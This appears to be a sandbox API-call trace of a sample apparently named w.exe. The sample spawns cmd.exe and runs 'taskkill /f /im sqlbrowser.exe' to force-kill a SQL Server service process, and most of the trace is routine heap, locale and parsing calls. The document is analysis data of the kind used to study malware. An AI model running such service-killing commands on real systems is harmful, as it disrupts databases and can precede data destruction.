	[0033.983] GetProcessHeap () returned 0x570000
	[0033.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb36) returned 0x585ed8
	[0033.983] FreeEnvironmentStringsW (penv=0x584098) returned 1
	[0033.983] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acc5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0033.983] GetProcessHeap () returned 0x570000
	[0033.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585678 | out: hHeap=0x570000) returned 1
	[0033.983] GetProcessHeap () returned 0x570000
	[0033.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400e) returned 0x586a18
	[0033.983] GetProcessHeap () returned 0x570000
	[0033.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x50) returned 0x582d68
	[0033.984] GetProcessHeap () returned 0x570000
	[0033.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4008) returned 0x58aa30
	[0033.984] GetProcessHeap () returned 0x570000
	[0033.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4008) returned 0x58ea40
	[0033.985] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0033.986] GetProcessHeap () returned 0x570000
	[0033.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x418) returned 0x582dc0
	[0033.986] SetErrorMode (uMode=0x0) returned 0x8003
	[0033.986] SetErrorMode (uMode=0x1) returned 0x0
	[0033.986] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x582dc8, lpFilePart=0x2ef918 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x2ef918*="f") returned 0x31
	[0033.986] SetErrorMode (uMode=0x8003) returned 0x1
	[0033.986] GetProcessHeap () returned 0x570000
	[0033.986] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x582dc0, Size=0x92) returned 0x582dc0
	[0033.986] GetProcessHeap () returned 0x570000
	[0033.986] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x582dc0) returned 0x92
	[0033.986] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0033.986] GetProcessHeap () returned 0x570000
	[0033.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x72) returned 0x592a68
	[0033.986] GetProcessHeap () returned 0x570000
	[0033.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xd8) returned 0x582e60
	[0033.987] GetProcessHeap () returned 0x570000
	[0033.987] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x582e60, Size=0x72) returned 0x582e60
	[0033.987] GetProcessHeap () returned 0x570000
	[0033.987] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x582e60) returned 0x72
	[0033.987] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0033.987] GetProcessHeap () returned 0x570000
	[0033.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe0) returned 0x582ee0
	[0033.990] GetProcessHeap () returned 0x570000
	[0033.990] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x582ee0, Size=0x76) returned 0x582ee0
	[0033.990] GetProcessHeap () returned 0x570000
	[0033.990] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x582ee0) returned 0x76
	[0033.990] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0033.990] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im sqlbrowser.exe ", fInfoLevelId=0x1, lpFindFileData=0x2ef6b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef6b4) returned 0xffffffff
	[0033.991] GetLastError () returned 0x3
	[0033.991] GetProcessHeap () returned 0x570000
	[0033.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58aa30 | out: hHeap=0x570000) returned 1
	[0033.991] GetProcessHeap () returned 0x570000
	[0033.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea40 | out: hHeap=0x570000) returned 1
	[0033.991] GetProcessHeap () returned 0x570000
	[0033.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586a18 | out: hHeap=0x570000) returned 1
	[0033.991] GetConsoleOutputCP () returned 0x1b5
	[0033.991] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acc4260 | out: lpCPInfo=0x4acc4260) returned 1
	[0033.991] GetUserDefaultLCID () returned 0x409
	[0033.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4acc4950, cchData=8 | out: lpLCData=":") returned 2
	[0033.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2efae0, cchData=128 | out: lpLCData="0") returned 2
	[0033.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2efae0, cchData=128 | out: lpLCData="0") returned 2
	[0033.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2efae0, cchData=128 | out: lpLCData="1") returned 2
	[0033.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4acc4940, cchData=8 | out: lpLCData="/") returned 2
	[0033.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4acc4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0033.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4acc4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0033.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4acc4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0033.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4acc4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0033.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4acc4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0033.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4acc4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0033.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4acc4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0033.993] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4acc4930, cchData=8 | out: lpLCData=".") returned 2
	[0033.993] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4acc4920, cchData=8 | out: lpLCData=",") returned 2
	[0033.993] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0033.994] GetProcessHeap () returned 0x570000
	[0033.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20c) returned 0x582f60
	[0033.994] GetConsoleTitleW (in: lpConsoleTitle=0x582f60, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0033.994] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0033.994] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0033.994] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0033.994] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0033.995] GetProcessHeap () returned 0x570000
	[0033.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x586a18
	[0033.995] GetProcessHeap () returned 0x570000
	[0033.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586a18 | out: hHeap=0x570000) returned 1
	[0033.995] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0033.995] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0033.995] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0033.995] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0033.995] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0033.995] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0033.995] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0033.995] GetProcessHeap () returned 0x570000
	[0033.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x58) returned 0x583178
	[0033.996] GetProcessHeap () returned 0x570000
	[0033.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1a) returned 0x585718
	[0033.996] GetProcessHeap () returned 0x570000
	[0033.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x38) returned 0x5831d8
	[0033.997] GetConsoleTitleW (in: lpConsoleTitle=0x2ef7d8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0033.997] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0033.997] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0033.997] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0033.997] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0033.997] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0033.997] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0033.997] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0033.997] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0033.997] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0033.997] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0033.997] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0033.997] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0033.998] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0033.998] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0033.998] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0033.998] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0033.998] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0033.998] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0033.998] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0033.998] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0033.998] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0033.998] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0033.998] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0033.998] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0033.998] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0033.998] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0033.998] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0033.998] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0033.998] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0033.998] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0033.998] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0033.998] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0033.998] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0033.998] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0033.998] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0033.998] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0033.998] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0033.998] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0033.998] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0033.998] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0033.998] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0033.998] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0033.998] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0033.999] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0033.999] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0033.999] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0033.999] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0033.999] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0033.999] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0033.999] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0033.999] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0033.999] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0033.999] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0033.999] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0033.999] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0033.999] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0033.999] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0033.999] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0033.999] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0033.999] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0033.999] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0033.999] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0033.999] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0033.999] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0033.999] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0033.999] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0033.999] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0033.999] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0033.999] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0033.999] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0033.999] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0033.999] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0033.999] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0033.999] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0033.999] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0033.999] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0033.999] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0033.999] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0033.999] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0033.999] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0034.000] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0034.000] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0034.000] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0034.000] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0034.000] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0034.000] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0034.000] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0034.000] GetProcessHeap () returned 0x570000
	[0034.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x210) returned 0x583218
	[0034.000] GetProcessHeap () returned 0x570000
	[0034.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4a) returned 0x583430
	[0034.000] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0034.000] GetProcessHeap () returned 0x570000
	[0034.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x418) returned 0x5707f0
	[0034.000] SetErrorMode (uMode=0x0) returned 0x8003
	[0034.001] SetErrorMode (uMode=0x1) returned 0x0
	[0034.001] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5707f8, lpFilePart=0x2ef2f8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ef2f8*="Desktop") returned 0x25
	[0034.001] SetErrorMode (uMode=0x8003) returned 0x1
	[0034.001] GetProcessHeap () returned 0x570000
	[0034.001] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5707f0, Size=0x66) returned 0x5707f0
	[0034.001] GetProcessHeap () returned 0x570000
	[0034.001] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x5707f0) returned 0x66
	[0034.001] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0034.001] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0034.001] GetProcessHeap () returned 0x570000
	[0034.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x120) returned 0x583488
	[0034.001] GetProcessHeap () returned 0x570000
	[0034.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x238) returned 0x570860
	[0034.003] GetProcessHeap () returned 0x570000
	[0034.003] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570860, Size=0x122) returned 0x570860
	[0034.003] GetProcessHeap () returned 0x570000
	[0034.003] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x570860) returned 0x122
	[0034.003] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.003] GetProcessHeap () returned 0x570000
	[0034.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe0) returned 0x570990
	[0034.003] GetProcessHeap () returned 0x570000
	[0034.003] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570990, Size=0x76) returned 0x570990
	[0034.003] GetProcessHeap () returned 0x570000
	[0034.003] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x570990) returned 0x76
	[0034.003] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0034.003] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x2ef074, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef074) returned 0xffffffff
	[0034.003] GetLastError () returned 0x2
	[0034.003] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x2ef074, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef074) returned 0xffffffff
	[0034.003] GetLastError () returned 0x2
	[0034.003] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0034.004] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x2ef074, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef074) returned 0x570a10
	[0034.004] GetProcessHeap () returned 0x570000
	[0034.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x570a50
	[0034.004] FindClose (in: hFindFile=0x570a10 | out: hFindFile=0x570a10) returned 1
	[0034.004] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x2ef074, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef074) returned 0xffffffff
	[0034.004] GetLastError () returned 0x2
	[0034.004] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ef074, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef074) returned 0x570a10
	[0034.004] GetProcessHeap () returned 0x570000
	[0034.004] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570a50, Size=0x4) returned 0x570a50
	[0034.004] FindClose (in: hFindFile=0x570a10 | out: hFindFile=0x570a10) returned 1
	[0034.004] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0034.004] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0034.004] GetConsoleTitleW (in: lpConsoleTitle=0x2ef56c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0034.004] InitializeProcThreadAttributeList (in: lpAttributeList=0x2ef3f4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2ef4bc | out: lpAttributeList=0x2ef3f4, lpSize=0x2ef4bc) returned 1
	[0034.004] UpdateProcThreadAttribute (in: lpAttributeList=0x2ef3f4, dwFlags=0x0, Attribute=0x60001, lpValue=0x2ef4b4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2ef3f4, lpPreviousValue=0x0) returned 1
	[0034.005] GetStartupInfoW (in: lpStartupInfo=0x2ef3b0 | out: lpStartupInfo=0x2ef3b0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8)) 
	[0034.005] GetProcessHeap () returned 0x570000
	[0034.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x18) returned 0x570a10
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0034.005] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0034.006] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0034.006] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0034.006] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0034.006] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0034.006] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0034.006] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0034.006] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0034.006] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0034.006] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0034.006] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0034.006] GetProcessHeap () returned 0x570000
	[0034.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570a10 | out: hHeap=0x570000) returned 1
	[0034.006] GetProcessHeap () returned 0x570000
	[0034.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xa) returned 0x57fee8
	[0034.006] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0034.007] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im sqlbrowser.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ef450*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im sqlbrowser.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2ef49c | out: lpCommandLine="taskkill  /f /im sqlbrowser.exe ", lpProcessInformation=0x2ef49c*(hProcess=0x78, hThread=0x74, dwProcessId=0xb80, dwThreadId=0xb84)) returned 1
	[0034.012] CloseHandle (hObject=0x74) returned 1
	[0034.013] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0034.013] GetProcessHeap () returned 0x570000
	[0034.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585ed8 | out: hHeap=0x570000) returned 1
	[0034.013] GetEnvironmentStringsW () returned 0x594a50*
	[0034.013] GetProcessHeap () returned 0x570000
	[0034.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb36) returned 0x584098
	[0034.013] FreeEnvironmentStringsW (penv=0x594a50) returned 1
	[0034.013] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0034.323] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x2ef390 | out: lpExitCode=0x2ef390*=0x80) returned 1
	[0034.324] CloseHandle (hObject=0x78) returned 1
	[0034.324] _vsnwprintf (in: _Buffer=0x2ef4d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x2ef39c | out: _Buffer="00000080") returned 8
	[0034.324] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0034.324] GetProcessHeap () returned 0x570000
	[0034.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584098 | out: hHeap=0x570000) returned 1
